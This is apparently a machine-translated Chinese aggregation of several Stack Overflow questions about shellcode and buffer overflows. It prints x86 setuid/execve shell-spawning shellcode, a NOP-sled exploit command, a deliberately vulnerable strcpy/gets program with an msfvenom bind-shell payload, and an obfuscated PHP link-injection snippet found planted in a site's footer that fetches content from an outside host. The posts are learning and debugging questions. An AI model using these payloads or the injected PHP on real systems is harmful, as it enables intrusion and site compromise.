标签: shellcode

如何解释以下shellcode漏洞的行为?

这是一个利用缓冲区溢出漏洞的shellcode.它使用设置setuid(0)和生成shell execve().以下是我解释它的方式:

xor    %ebx,%ebx       ; Xoring to make ebx value 0
lea    0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int    $0x80           ; interrupt
push   %ebx            ; push ebx
push   $0x68732f6e     ; push address // why this address only????
push   $0x69622f2f     ; push address // same question
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
cltd                   ; mov execve sys call into al
mov    $0xb,%al
int    $0x80           ; interrupt
Run Code Online (Sandbox Code Playgroud)

谁能清楚地解释整个步骤?

x86 assembly exploit buffer-overflow shellcode

5
推荐指数
1
解决办法
4498
查看次数

这段代码是漏洞吗?这段代码是什么?

我正在寻找被某人/某事利用过的网站.该网站有一大堆链接注入其页脚,链接到制药摊位,谁知道还有什么.页脚顶部有很多链接.我现在只能在Yahoo索引的缓存页面上找到它们.谷歌仍然不喜欢该网站,并且现场网站不再显示任何链接.这是给客户的.所以我大部分都知道我被告知了什么,以及我能找到的其他明智之处.

我在footer.php(它是一个OsCommerse站点)的'tip/top'找到了这段代码:

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>
Run Code Online (Sandbox Code Playgroud)

当我查看具有"Bad"链接的源缓存页面时,此代码适合我在footer.php源中找到它的位置.对谷歌的一点研究表明,有类似代码的漏洞.

您如何看待,当我在自己的服务器上运行时,我得到的只是源中的回显注释,如下所示:

<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> …
Run Code Online (Sandbox Code Playgroud)

php exploit shellcode

5
推荐指数
1
解决办法
946
查看次数

作业 - 无法利用缓冲区溢出

我试图学习在Backtrack Linux上利用简单的缓冲区流技术.

这是我的C程序

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[500];
    if(argc==2)
    {

    strcpy(buffer, argv[1]);  //vulnerable function

    }

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

这是我正在使用的shellcode,它对应于简单的/bin/ls \ x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\X01\XC6\X04\X24\X2F\X89\XE6\X50\X56\XB0\X0B\X89\XF3\X89\XE1\X31\XD2\XCD\X80\XB0\X01\X31\XDB\XCD\X80

我使用以下命令在gdb中注入此shellcode

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
Run Code Online (Sandbox Code Playgroud)

当我逐步完成应用程序时,它会SIG FAULT在最终ret指令上生成.此时EIP正确设置为0xffffd30c.这个地址是可寻址的,包含一系列的NOP,后跟我的shell代码,如有效负载中所示.

我已经禁用了ASLR sudo echo 0 > /proc/sys/kernel/randomize_va_space

并使用fno-stack-protector选项编译我的二进制文件.

知道SIGSEGV的原因是什么?

c buffer-overflow shellcode

5
推荐指数
1
解决办法
1684
查看次数

当我覆盖易受攻击程序的ret地址时,为什么我会"找不到当前函数的界限"?

我想利用基于堆栈的缓冲区溢出来进行教育.

有一个典型的函数,使用main中的参数调用,该函数作为程序的输入提供给保存参数的本地缓冲区.如果有这样的输入nops+shellcode+address_shellcode,我会利用它.

在使用gdb调试之后,我找到了shell代码的地址,因为它将作为参数传递,并且在strcpy我检查堆栈之后,$ebp+8哪个是返回地址已成功用shell代码的地址覆盖.所以我有我想要的东西.但是当我向前推进执行时,我得到了:

->shellcode_address in ?? ()
Run Code Online (Sandbox Code Playgroud)

然后

Cannot find bound of current function
Run Code Online (Sandbox Code Playgroud)

返回地址具有我想要的值.有什么想法发生了什么?

此外,当我执行它时,我遇到了分段错误,我已经编译了它-g -fno-stack-protector.为什么?

c stack buffer-overflow shellcode

5
推荐指数
2
解决办法
3万
查看次数

如何在编译时获取汇编指令的机器代码?

我希望能够将单行ASM转换为shellcode.IE:

CALL EBX
Run Code Online (Sandbox Code Playgroud)

我该怎么做,并且能够正确转换这个shellcode,以便我可以将它存储在delphi应用程序的变量中.IE:

var ShellCodeArray:  array[0..3] of Byte = ($55,$8B,$EC,$81);
Run Code Online (Sandbox Code Playgroud)

delphi assembly basm shellcode

5
推荐指数
1
解决办法
1423
查看次数

我怎样才能把它变成shellcode?

好吧,我写了一个生成 shell 的 ASM 文件。

但是,.text 部分变为“只读”,因此我将所有内容都保留在 .data 部分中。当我用 NASM 和 ld 编译它时,它工作得很好。然后,当我使用 shellcode 并在 C 程序中运行它时,我会出现错误。

ASM:

SECTION .data
        global _start
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov al, 70d
        int 80h
        jmp jump
rev:
        pop ebx
        xor eax, eax
        mov BYTE [ebx+7], al
        mov DWORD [ebx+8], ebx
        mov DWORD [ebx+12], eax
        mov al, 11d
        lea ecx, [ebx+8]
        lea edx, [ebx+12]
        int 80h
jump:
        call rev
shell: db "/bin/sh011112222"
Run Code Online (Sandbox Code Playgroud)

当我编译它时:

nasm -f …
Run Code Online (Sandbox Code Playgroud)

c shell assembly segmentation-fault shellcode

5
推荐指数
1
解决办法
4792
查看次数

了解shellcode示例

在shellcode教程中,我看到了以下示例:

 main(){

    exit(0);

 }
Run Code Online (Sandbox Code Playgroud)

想法是创建一个exit() - 系统调用.那么,他们生产组件:

  Section .text

      global _start

 _start:
      mov ebx, 0
      mov eax, 1
      int 0x80
Run Code Online (Sandbox Code Playgroud)

我理解这一点.0是我们存储在ebx中的exit()的参数,1是退出系统调用的编号,使用0x80我们将CPU更改为内核模式并执行系统调用.

之后,他们让我们生成以下代码:

    bb 00 00 00 00
    b8 01 00 00 00
    cd 80
Run Code Online (Sandbox Code Playgroud)

然后,他们将其翻译成C语言,看起来像:

 char example[] = "\xbb\x00\x00\x00\x00"
                  "\xb8\x01\x00\x00\x00"
                  "\xcd\x80"

  int main(){

  int *pointer; 
  pointer = (int *)&pointer+2;
  (*pointer) = (int)example;
  }
Run Code Online (Sandbox Code Playgroud)

所以,我理解的是他们将操作码放在char数组中,但我不明白他们在main()中做了什么 - 方法.第一行还可以.但他们想用第2和第3行表达什么?

最好的祝福,

c assembly pointers opcodes shellcode

5
推荐指数
1
解决办法
774
查看次数

C execve() 参数 [生成 shell 示例]

我必须填写以下参数:

int execve(const char *filename, char *const argv[], char *const envp[]);
Run Code Online (Sandbox Code Playgroud)

如果我执行这个程序:

#include <unistd.h>
int main() {
        char *args[2];
        args[0] = "/bin/sh";
        args[1] = NULL;
        execve(args[0], args, NULL);
}
Run Code Online (Sandbox Code Playgroud)

shell 按预期正确生成。

我的问题是,如果我传递 NULL 作为第二个参数,shell 也会正确生成:

#include <unistd.h>

int main() {
        char *args[2];
        args[0] = "/bin/sh";
        args[1] = NULL;
        execve(args[0], NULL, NULL);
}
Run Code Online (Sandbox Code Playgroud)

那么使用 args 向量(带有“/bin/sh”+ NULL)作为第二个参数而不是 NULL 的目的是什么?

c execve shellcode

5
推荐指数
2
解决办法
3万
查看次数

如何从文本文件传递参数以在 gdb 下运行程序?

我想使用像gdb下命令那样的功能。

$ cat arg.txt | xargs ./binary
Run Code Online (Sandbox Code Playgroud)

有什么办法可以做到吗?

linux gdb xargs shellcode

5
推荐指数
1
解决办法
4830
查看次数

漏洞利用开发 - GETS 和 Shellcode

试图了解更多有关利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。

为什么我无法运行 execve("/bin/sh") 等 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。

示例程序:

// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack

#include <stdio.h>
#include <string.h>

void test() {
    char pass[50];
    printf("Password: ");
    gets(pass);
    if (strcmp(pass, "epicpassw0rd") == 0) {
        printf("Woho, you got it!\n");
    }
}

int main() {
    test();
    __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
    return(0);
}
Run Code Online (Sandbox Code Playgroud)

漏洞利用示例:

python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Run Code Online (Sandbox Code Playgroud)

示例有效负载(工作):

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" …
Run Code Online (Sandbox Code Playgroud)

c exploit gets shellcode

5
推荐指数
1
解决办法
2488
查看次数